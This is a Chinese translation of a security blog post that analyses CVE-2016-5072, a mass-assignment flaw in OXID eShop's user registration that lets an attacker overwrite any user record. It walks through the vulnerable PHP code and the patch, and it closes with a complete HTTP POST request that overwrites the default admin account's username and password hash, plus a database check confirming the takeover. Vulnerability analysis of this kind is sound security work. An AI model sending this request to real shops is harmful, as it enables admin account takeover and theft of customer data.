分析开源商店系统OXID中的漏洞
本文翻译自: https://mogwailabs.de/blog/2018/07/vulnerability-spotlight-cve-2016-5072/
前段时间,我检查了开源商店软件“OXID eShop”中的已知漏洞,这样做在德国是很受欢迎的。激发我兴趣的问题是OXID Security Bulletin 2016-001 (CVE-2016-5072)漏洞,主要是它的影响很大。下面是adivsory供应商发布的消息:
攻击者可以获得OXID eShop的完全管理访问权限。这包括所有购物车选项,客户数据和数据库。他们还可以执行PHP代码或将恶意代码注入系统和商店的店面。攻击者和受害者之间不需要交互。
该供应商还在它的官方公告中发布了针对这个漏洞的常见问题答疑。接下来的内容让我越发地好奇了,当我们使用常见的漏洞扫描程序来处理这个漏洞时,要发现它是非常不容易的:
是谁发现了这个问题呢?
这个问题是由OXID的开发人员发现的,而不是第三方人员。OXID eShop之前历经了多次安全审核,但是都没有发现这个问题。
我决定深入探索存在这个漏洞的根本原因以及攻击者是怎么利用这个漏洞的。
阅读了漏洞常见问题解答之后,很显然,攻击者可以以某种方式修改管理员用户的现有数据库记录。那让我们来快速浏览一下“oxuser”数据库表。此表用于OXID所有的帐户,其中包括商店管理员和客户。“oxid”列是表格的主要关键点。默认情况下,在安装过程中创建的管理员帐户时oxid字段的值为“oxdefaultadmin”,而其他的ids是使用OXID util方法“generateUID()”生成的MD5哈希值。
select oxid,oxrights,oxusername from oxuser;
+----------------------------------+-----------+----------------------+
| oxid | oxrights | oxusername |
+----------------------------------+-----------+----------------------+
| oxdefaultadmin | malladmin | [email protected] |
| e7af1c3b786fd02906ccd75698f4e6b9 | user | [email protected] |
+----------------------------------+-----------+----------------------+
2 rows in set (0.00 sec)
为了掌握怎么利用这个问题的知识,有必要先掌握一些关于PHP数组的背景知识。我们将在这里快速介绍一下基础知识。与大多数高级语言一样,PHP本身也是支持数组的。PHP中的数组实际上是一个有序的映射。映射是一种将值与键关联起来的类型。有了密钥(可以是整数或字符串),您可以访问数组中指定的值。以下脚本提供了几个小例子,如何创建/访问该类数组:
<?php
// Define a new array my_array
$my_array = array(
"key1" => "value1",
"key2" => "value2",
"key3" => "value3",
);
// Accessing array values
print ("Key: key1, value: " . $my_array['key1'] . "\n");
// Adding additional values to the existing array
$my_array['new_value'] = "super new value";
// Accessing the added value:
print ("Key: new_value, value: " . $my_array['new_value'] . "\n");
// Create a second array, using integers as keys
$my_int_array = array(
0 => 'int value 0',
1 => 'int value 1',
2 => 'int value 3',
);
// It is possible to store arrays in arrays
$my_array['array_value'] = $my_int_array;
// Accessing arrays in arrays
print ("Accessing arrays in arrays: " .$my_array['array_value'][1] ."\n\n");
?>
上面脚本的输出结果为:
php arraytest.php
Key: key1, value: value1
Key: new_value, value: super new value
Accessing arrays in arrays: int value 1
PHP语言提供了在HTTP请求中传递数组的有趣的可能性,这是现代框架经常使用的一种功能。这是一个将数组作为URL/POST或Cookie参数的小例子:
print("my_array['key1'] = " .$_REQUEST['my_array']['key1'] . "<br/>");
print("my_array['key2'] = " .$_REQUEST['my_array']['key2'] . "<br/>");
数组“my_array”可以按以下方式传递给脚本:
http://10.165.188.125/array_test.php?my_array[key1]=test&my_array[key2]=bla
下面的屏幕截图显示了在OXID商店中注册的新用户帐户。如您所见,参数invadr
是一个在POST请求中传递的数组。这个变量对于后续理解漏洞是非常重要的。
在阅读了advisory供应商提供的信息以及查看了已发布的Mod-Security规则之后,显而易见,这个错误与新用户的注册存在着某种关系。分析这个漏洞的最简单方法是将易受攻击的版本与修复后的版本进行比对来看看相应的变化。
修复后的程序引入了两个新种新的方法,cleanDeliveryAddress
和cleanBillingAddress
,两者都在oxcmp_user类中由createUser()
来调用:
$sPassword2 = oxConfig::getParameter( 'lgn_pwd2', true );
$aInvAdress = oxConfig::getParameter( 'invadr', true );
$aInvAdress = $this->cleanBillingAddress($aInvAdress);
$aDelAdress = $this->_getDelAddressData();
$aDelAdress = $this->cleanDeliveryAddress($aDelAdress);
$oUser = oxNew( 'oxuser' );
这两种方法的代码非常相似。下面是“cleanDeliveryAddress”的代码:
/**
* Removes sensitive fields from billing address data.
*
* @param array $aBillingAddress
*
* @return array
*/
private function cleanBillingAddress($aBillingAddress)
{
if (is_array($aBillingAddress)) {
$skipFields = array('oxuser__oxid', 'oxid', 'oxuser__oxpoints', 'oxpoints', 'oxuser__oxboni', 'oxboni');
$aBillingAddress = array_change_key_case($aBillingAddress);
$aBillingAddress = array_diff_key($aBillingAddress, array_flip($skipFields));
}
return $aBillingAddress;
}
代码对所提供的帐单地址是否是PHP数组进行基本的检查,如果是PHP数组,就删除具有某些键的元素,比如oxuser__oxid
。那么在用户注册的过程中,billingAdress(变量$invadr
)的值是实际上是怎么使用的呢?
以下代码示例选自我的测试安装(版本是oxideshop_ce-sync-p-5.2-ce-176),其他版本可能略有不同。
该值将传递给oxUser类中的两个函数,这两个函数都没有被修复后的程序更改:
顾名思义,checkValues
方法对所提供的参数进行一些基本的检查,并且如果验证失败,则返回异常。
/**
* Performs bunch of checks if user profile data is correct; on any
* error exception is thrown
*
* @param string $sLogin user login name
* @param string $sPassword user password
* @param string $sPassword2 user password to compare
* @param array $aInvAddress array of user profile data
* @param array $aDelAddress array of user profile data
*
* @todo currently this method calls oxUser class methods responsible for
* input validation. In next major release these should be replaced by direct
* oxInputValidation calls
*
* @throws oxUserException, oxInputException
*/
public function checkValues($sLogin, $sPassword, $sPassword2, $aInvAddress, $aDelAddress)
{
/** @var oxInputValidator $oInputValidator */
$oInputValidator = oxRegistry::get('oxInputValidator');
// 1. checking user name
$sLogin = $oInputValidator->checkLogin($this, $sLogin, $aInvAddress);
// 2. checking email
$oInputValidator->checkEmail($this, $sLogin, $aInvAddress);
// 3. password
$oInputValidator->checkPassword($this, $sPassword, $sPassword2, ((int) oxRegistry::getConfig()->getRequestParameter('option') == 3));
// 4. required fields
$oInputValidator->checkRequiredFields($this, $aInvAddress, $aDelAddress);
// 5. country check
$oInputValidator->checkCountries($this, $aInvAddress, $aDelAddress);
// 6. vat id check.
$oInputValidator->checkVatId($this, $aInvAddress);
// throwing first validation error
if ($oError = oxRegistry::get("oxInputValidator")->getFirstValidationError()) {
throw $oError;
}
}
changeUserData
方法看起来更有意义。这段代码会再次调用checkValues
,然后将$aInvAddress
数组传递给assign
方法:
/**
* When changing/updating user information in frontend this method validates user
* input. If data is fine - automatically assigns this values. Additionally calls
* methods (oxuser::_setAutoGroups, oxuser::setNewsSubscription) to perform automatic
* groups assignment and returns newsletter subscription status. If some action
* fails - exception is thrown.
*
* @param string $sUser user login name
* @param string $sPassword user password
* @param string $sPassword2 user confirmation password
* @param array $aInvAddress user billing address
* @param array $aDelAddress delivery address
*
* @throws oxUserException, oxInputException, oxConnectionException
*/
public function changeUserData($sUser, $sPassword, $sPassword2, $aInvAddress, $aDelAddress)
{
// validating values before saving. If validation fails - exception is thrown
$this->checkValues($sUser, $sPassword, $sPassword2, $aInvAddress, $aDelAddress);
// input data is fine - lets save updated user info
$this->assign($aInvAddress);
// update old or add new delivery address
$this->_assignAddress($aDelAddress);
// saving new values
if ($this->save()) {
// assigning automatically to specific groups
$sCountryId = isset($aInvAddress['oxuser__oxcountryid']) ? $aInvAddress['oxuser__oxcountryid'] : '';
$this->_setAutoGroups($sCountryId);
}
}
oxBase::assign
方法(如下所示)通过循环来遍历数组,并调用私有方法_setFieldData
来更新每个数据库字段。这样处理可能会很危险,因为攻击者可以控制数组的键和值,允许他覆盖用户对象的任意字段,而不单单是来自地址的字段。
这基本上是一个“Mass Assignment”漏洞,在旧版本的Ruby on Rails中更加常见。
/**
* Assigns DB field values to object fields. Returns true on success.
*
* @param array $dbRecord Associative data values array
*
* @return null
*/
public function assign( $dbRecord )
{
if ( !is_array( $dbRecord ) ) {
return;
}
reset($dbRecord );
while ( list( $sName, $sValue ) = each( $dbRecord ) ) {
// patch for IIS
//TODO: test it on IIS do we still need it
//if( is_array($value) && count( $value) == 1)
// $value = current( $value);
$this->_setFieldData( $sName, $sValue );
}
$sOxidField = $this->_getFieldLongName( 'oxid' );
$this->_sOXID = $this->$sOxidField->value;
}
向invadr
数组添加其他字段,我们就可以在注册新帐户的期间覆盖oxuser数据库记录中的任意字段。修改不仅限于我们当前的用户,只要我们知道他们的主键("oxid"),我们也可以覆盖其他帐户的数据。
首当其冲的第一个目标是默认管理员,因为此帐户的“oxid”始终是oxdefaultadmin
。通过覆盖这个帐户的某些属性,例如用户名和密码哈希值,攻击者就可以破坏帐户并获得OXID商店的管理后端的访问权限。
以下HTTP请求展示了对漏洞的实际利用。我们注册了一个新帐户并将其他字段添加到“invadr”数组中。这应该允许我们覆盖默认管理员帐户的电子邮件地址:
但有点不幸,这似乎不起作用。看来OXID不知怎么地在抱怨我们的密码:
出现这个问题的原因是checkValues
功能中的检查。该错误是由checkValues()
调用的方法checkLogin()
的代码造成的。事实证明,这个功能比“只检查”电子邮件地址要更复杂一些。实际上,我们尝试滥用的“bug”是OXID的一个特征。这就是为什么添加的清理功能不检查oxuser_username
或oxuser_oxpassword
的原因所在。
public function checkLogin($oUser, $sLogin, $aInvAddress)
{
$sLogin = (isset($aInvAddress['oxuser__oxusername'])) ? $aInvAddress['oxuser__oxusername'] : $sLogin;
// check only for users with password during registration
// if user wants to change user name - we must check if passwords are ok before changing
if ($oUser->oxuser__oxpassword->value && $sLogin != $oUser->oxuser__oxusername->value) {
// on this case password must be taken directly from request
$sNewPass = (isset($aInvAddress['oxuser__oxpassword']) && $aInvAddress['oxuser__oxpassword']) ? $aInvAddress['oxuser__oxpassword'] : oxRegistry::getConfig()->getRequestParameter('user_password');
if (!$sNewPass) {
// 1. user forgot to enter password
$oEx = oxNew('oxInputException');
$oEx->setMessage(oxRegistry::getLang()->translateString('ERROR_MESSAGE_INPUT_NOTALLFIELDS'));
return $this->_addValidationError("oxuser__oxpassword", $oEx);
} else {
// 2. entered wrong password
if (!$oUser->isSamePassword($sNewPass)) {
$oEx = oxNew('oxUserException');
$oEx->setMessage(oxRegistry::getLang()->translateString('ERROR_MESSAGE_PASSWORD_DO_NOT_MATCH'));
return $this->_addValidationError("oxuser__oxpassword", $oEx);
}
}
}
if ($oUser->checkIfEmailExists($sLogin)) {
//if exists then we do now allow to do that
$oEx = oxNew('oxUserException');
$oEx->setMessage(sprintf(oxRegistry::getLang()->translateString('ERROR_MESSAGE_USER_USEREXISTS'), $sLogin));
return $this->_addValidationError("oxuser__oxusername", $oEx);
}
return $sLogin;
}
当我们在invAdr
数组中添加oxuser__oxusername
键的值时,我们还必须提供密码(数组键oxuser_password
)。然后用我们自己也可以提供的HTTP请求参数user_password
来检查该字段的值。因此请求中的所有password fields
必须包含与值相同的哈希散列。
长话短说,我们可以覆盖默认管理员帐户的用户名和密码哈希值。这会将默认管理员的用户名更改为[email protected]
,密码为hacked456
:
POST /index.php?lang=1& HTTP/1.1
Host: 10.165.188.125
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.165.188.125/index.php?lang=1&cl=register&fnc=logout&redirect=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 1526
Cookie: oxidadminlanguage=en; oxidadminprofile=0%40Standard%4010; language=1; sid=nht6r60vqs46cjkjpdn1t5n6a1; sid_key=oxid
Connection: close
Upgrade-Insecure-Requests: 1
stoken=98BFFD11&lang=1&actcontrol=register&fnc=registeruser&cl=register&lgn_cook=0&reloadaddress=&option=3&lgn_usr=poc%40mogwailabs.de&lgn_pwd=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&lgn_pwd2=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&blnewssubscribed=0&invadr%5Boxuser__oxsal%5D=MR&invadr%5Boxuser__oxfname%5D=PoC&invadr%5Boxuser__oxlname%5D=PoC&invadr%5Boxuser__oxcompany%5D=&invadr%5Boxuser__oxaddinfo%5D=&invadr%5Boxuser__oxstreet%5D=Poc&invadr%5Boxuser__oxstreetnr%5D=123&invadr%5Boxuser__oxzip%5D=12345&invadr%5Boxuser__oxcity%5D=PoC&invadr%5Boxuser__oxustid%5D=&invadr%5Boxuser__oxcountryid%5D=a7c40f631fc920687.20179984&invadr%5Boxuser__oxstateid%5D=&invadr%5Boxuser__oxfon%5D=&invadr%5Boxuser__oxfax%5D=&invadr%5Boxuser__oxmobfon%5D=&invadr%5Boxuser__oxprivfon%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bmonth%5D=&invadr%5Boxuser__oxbirthdate%5D%5Bday%5D=&invadr%5Boxuser__oxbirthdate%5D%5Byear%5D=&save=&invadr[oxuser__oxid]=oxdefaultadmin&invadr[oxuser__oxusername][email protected]&invadr[oxuser__oxpasssalt]=49a9a9a9a4fc191cba6cec03bb65bad3&invadr[oxuser__oxpassword]=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb&user_password=990caf953cd3b566e11d8f3a02ae612fc6c96f9bb26e14cf93d129e66c0aefd425e4f3991eda97a21738548bd08dc72a3a10bc197c856e6ec42daaa68cf7e2cb
您可以检查数据库条目以验证是否成功地利用了漏洞。当然,您也可以登录OXID管理员后端(/admin)。
mysql> select oxid, oxusername from oxuser where oxid='oxdefaultadmin';
+----------------+----------------------+
| oxid | oxusername |
+----------------+----------------------+
| oxdefaultadmin | [email protected] |
+----------------+----------------------+
1 row in set (0.00 sec)